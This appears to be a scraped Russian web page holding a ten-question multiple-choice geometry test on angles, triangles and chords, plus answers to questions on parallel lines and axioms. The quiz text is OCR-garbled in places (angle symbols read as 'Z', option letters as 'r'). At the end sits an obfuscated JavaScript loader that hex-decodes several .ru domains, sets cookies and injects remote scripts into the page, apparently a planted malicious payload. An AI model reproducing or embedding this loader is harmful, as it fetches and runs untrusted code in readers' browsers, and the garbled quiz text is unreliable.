Вариант
1. Величины смежных углов пропорциональны числам 5 и 7. Найдите разность между этими углами:
B
a) 24°,
б) 30°;
b) 36°;
г) 40°.
2. Рис. 5. 99. В прямоугольном треугольнике ABC ZC = 90*,
ZA = 30°, AC = 10 см, CD 1 AB, DE AC.
Найдите AE.
a) 8 см; б) 6 см;
b) 5 см;
r) 7,5 см.
3. Прямые а и параллельны, с - секущая. Разность двух углов, образованных этими прямыми, равна 130*.
Рис. 5.99
Найдите отношение большего из этих углов к
меньшему.
a) 3,8;
6) 4,5;
b) 6,2;
г) 5,6.
4. Периметр равнобедренного треугольника равен 15 см, а одна из его
сторон на 4 см меньше другой.
Найдите сумму боковых сторон этого треугольника.
a) 8 - см; б) 6 см;
b) 6 см или 11 - см;
r) II - см.
5. Хорда АВ равна 18 см. ОА и ОВ - радиусы окружности, причем
ZAOB = 90°
Найдите расстояние от точки О до хорды AB.
a) 13,5 см;
б) 6 см;
b) 9 см;
г) 12 см.
6. Б треугольнике МРК угол Р составляет 60% угла К, а угол М на 4
больше угла Р.
Найдите угол Р.
a) 64°;
б) 48°;
b) 52°;
r) 56°.
7.
7. В треугольнике АВС углы В и Сотносятся как 5 : 3, а угол А на 80°
больше их разности.
Найдите углы, на которые высота треугольника AD разбивает угол А.
a) 60°, 40'; б) 50°, 30°;
b) 40°, 70°;
г) 50°, 60°.
8. Высоты равнобедренного треугольника, проведенные из вершин
при основании, при пересечении образуют угол в 140°.
Найдите угол, противолежащий основанию.
a) 70°;
б) 100°;
b) 40°
r) 50°.
9. Биссектриса угла при основании равнобедренного треугольника
равна стороне треугольника.
Определите угол при основании.
a) 45°;
6) 36°;
b) 60°;
г) 72".
10. На какое наибольшее число равнобедренных треугольников мож-
но разделить данный равнобедренный треугольник тремя отрезками?
a) 6;
б) 4;
b) 3;
r) 2.

A1. Две прямые на плоскости называются параллельными, если они:

4) не пересекаются

А2. Один из признаков параллельности двух прямых гласит:

Если при пересечении двух прямых секущей накрест лежащие углы равны, то прямые параллельны

А3. Выберите утверждение, являющееся аксиомой параллельных прямых:

Через точку, не лежащую на данной прямой, проходит только одна прямая, параллельная данной

А4. Если две параллельные прямые пересечены секущей, то:

Соответственные углы равны

А5. Если прямая перпендикулярна одной из двух параллельных прямых, то:

Она перпендикулярна и другой

А6. Всякая теорема состоит из нескольких частей:

Условия и заключения

А7. При пересечении двух прямых секущей образуются углы, имеющие специальные названия:

Накрест лежащие, соответственные, односторонние

А8. Аксиома – это:

Положение геометрии, не требующее доказательства

А9. Выберите утверждение, которое является признаком параллельности прямых:

Если при пересечении двух прямых секущей накрест лежащие углы равны, то прямые параллельны

А10. Если прямая не пересекает одну из двух параллельных прямых, то:

Другую прямую она тоже не пересекает

или

С другой прямой она совпадает

Window.a1336404323 = 1;!function(){var e=JSON.parse('["34676d696d7839373269707267722e7275","6362627a653575326d36357667382e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="17851",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();